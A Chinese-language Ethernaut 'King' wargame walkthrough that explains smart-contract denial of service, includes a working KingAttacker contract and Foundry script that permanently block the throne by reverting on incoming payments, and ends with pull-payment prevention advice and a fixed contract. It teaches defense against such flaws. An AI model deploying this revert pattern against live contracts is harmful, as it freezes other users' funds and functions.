【Ethernaut x Foundry】Level 09-King 答案解說
一招成為合約的獨裁者,Long Live the King!
看完這篇你會學到:
- 什麼是 DoS (阻斷服務攻擊)
- 如何預防 DoS 攻擊
題目
此次目標是破壞合約原有的功能,讓其他人無法取得王位即可通關。
合約程式碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
解說
Denial of Service (DoS) 攻擊旨在利用漏洞使合約在一定時間內或永遠無法正常運行原有的功能。比較常見的攻擊方式有消耗過高的 Gas、External call 導致合約不受控 (本關類型)。WTF-Solidity 這篇文章介紹了有名的 NFT 項目 Akutar 的 DoS 漏洞,雖然問題主因是工程師 typo 用錯了變數,但合約也確實存在 DoS 漏洞。另外,還有這篇文章中的例子,提到消耗過高的 Gas 手法,如果 calling 合約沒有檢查呼叫是否成功,就會因為這行 assert(false)
耗盡所有的 gas 導致交易失敗:
// You can also perform a DOS by consuming all gas using assert.
// This attack will work even if the calling contract does not check
// whether the call was successful or not.
function DoSExample() external payable {
assert(false);
}
回歸本題,King 是一道經典的 DoS 題目,它是一個讓轉入最多 Ether 的玩家取得國王稱號的小遊戲,通關目標則是藉 External call 導致合約不受控,破壞合約原有的功能,讓其他人無法取得王位。既然目標很明確了,那肯定是從能讓玩家取得王位的 function 開始觀察。
當我們把 Ether 轉進 King 合約觸發 receive()
,會先檢查 msg.value >= prize
,也就是想要稱王必須比目前的 King 轉入更多的 Ether,通過檢查後才執行 payable(king).transfer(msg.value)
,把 msg.value
數量的 Ether transfer 給目前的 King,而後你成為下一位新的 King。
不過這邊沒規定成為 King 的人是 EOA 或 Contract,一般情況下,如果是 EOA,將 Ether 轉入 EOA 不會發生問題,但如果是 Contract,會先檢查此合約是否可以接收 Ether,也就是有沒有實作 receive 或 payable fallback 函式 (忘記他們是誰可以參考之前的文章)。若轉入的合約沒有實作任何 fallback 或 receive 將接收失敗並 revert 交易,講到這相信你已經有一些想法了!
再提供另一個想法,如果故意在 receive 函式中做一些惡意操作,例如故意讓交易 revert,也同樣能達到破壞合約功能的目的,讓 King 合約只要一執行到 payable(king).transfer(msg.value)
,交易即發生 revert,如此永遠不會執行到下一行 king = msg.sender
。
有了攻擊思路,接下來要利用上述特性寫一個攻擊合約:
Step 1. 在 attack()
用 low-level call 先轉錢給 King 合約藉此取得王位,轉 0.001 ether 足以讓攻擊合約地址成為 king
。
Step 2. 寫一個 receive() 在裡面判斷如果接收的 Ether 是來自 King 合約,則直接讓交易 revert。
如此便能讓 King 合約 payable(king).transfer(msg.value)
這行程式無法正常執行,當再也沒有玩家可以成為 King,就意味著阻斷了合約原有的功能啦!當然你也可以在攻擊合約連 receive() 都不要寫,同樣能達到阻斷效果,方法也還有很多種,但重點還是能不能有效達成阻斷服務攻擊 (DoS)。
// src/09-KingAttacker.sol
contract KingAttacker {
address public challengeInstance;
constructor(address _challengeInstance) payable {
challengeInstance = _challengeInstance;
}
function attack() external {
(bool success, ) = payable(challengeInstance).call{value: 0.001 ether}("");
require(success, "failed");
}
/**
* This is a non-essential receive function
*/
receive() external payable {
require(msg.sender != challengeInstance, "no more king");
}
}
記得在 script 創建 KingAttacker 攻擊合約時轉一點 Ether 進去作為攻擊資金。
// script/solutions/09-King.s.sol
contract KingSolution is Script, EthernautHelper {
...
function run() public {
...
// YOUR SOLUTION HERE
KingAttacker kingAttacker = new KingAttacker{value:0.001 ether}(challengeInstance);
kingAttacker.attack();
...
}
}
這樣就成功做到 DoS 啦,恭喜成為合約最後一位國王,Long Live the King!(但也沒人可以繼續玩這個合約了 XD)
最後在延伸閱讀補充一些預防 DoS 攻擊的方法,有興趣可以了解一下!
延伸閱讀
如何預防 DoS 攻擊
由於 DoS 的核心是讓合約在一定時間內或永遠無法正常運行原有的功能,所以攻擊手法五花八門,沒有一個固定的安全 pattern 能讓我們一招走天下,很多時候甚至與 Solidity 的基本觀念或是程式邏輯設計缺陷有比較大的關聯。不過,還是能從中歸納出一些可行的預防方法,這裡就補充一下由 WTF-Solidity 整理的 DoS 預防方法與注意事項:
- 外部合約的函數呼叫 (例如
call
) 失敗時不會使得重要功能卡死。 - 合約不會因其他故意自毀的合約破壞應有功能或規避檢查條件。
- 合約中的迴圈不會進入無限循環。
require
和assert
的參數設定正確。- 提款時,讓用戶從合約自行領取 (pull),而非由合約批量或直接發送給用戶 (push)。
- 確保 fallback 不會影響合約正常運作。
- 確保當合約的某些角色 (例如
owner
) 不存在時,合約的核心功能仍能正常運作。
相信看完上述這幾點都沒什麼問題。不過,針對第五點,提款時要讓用戶自行 pull 而非由合約自動 push,這是為什麼?
因為當合約執行到外部呼叫 (external call) 可能會因意外或人為故意操作導致呼叫失敗,為了避免因交易失敗引發的無效交易或損害,會建議把和external call 相關的函式獨立出來,僅專注與自身相關的邏輯。
尤其是和資金相關的 payable function,在存/提款方面更應該要分開,存款函式就盡量不要執行 external call,只負責存款和記錄存款金額 (用一個 mapping 或 array 來記錄),提款函式則建議單獨開放一個類似 withdraw()
的函式讓用戶自行呼叫提款,應盡量避免在執行存款或其他函式的同時又執行 external call 或提款。
用程式碼來舉個例,如果把 King 合約修改成下方的樣子,就能避免此次 DoS 的情況發生了:
contract King {
address king;
uint public prize;
address public owner;
mapping(address => uint) refundRecord; // 儲存每一個 king 的存款金額
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
// 刪除下面這行程式,不要在存款(收到錢)時執行提款(轉出錢)的動作
// payable(king).transfer(msg.value);
refundRecord[king] += prize; // 記錄上一個 king 的存款金額
king = msg.sender;
prize = msg.value;
}
// 將執行提款的函式獨立出來讓用戶自行呼叫提款
function withdrawRefund() external {
uint refund = refundRecord[msg.sender];
require(refund > 0, "Insufficient balance");
refundRecord[msg.sender] = 0;
payable(msg.sender).transfer(refund);
}
function _king() public view returns (address) {
return king;
}
}
(聲明一下,程式僅供參考,不保證完全沒有其他漏洞)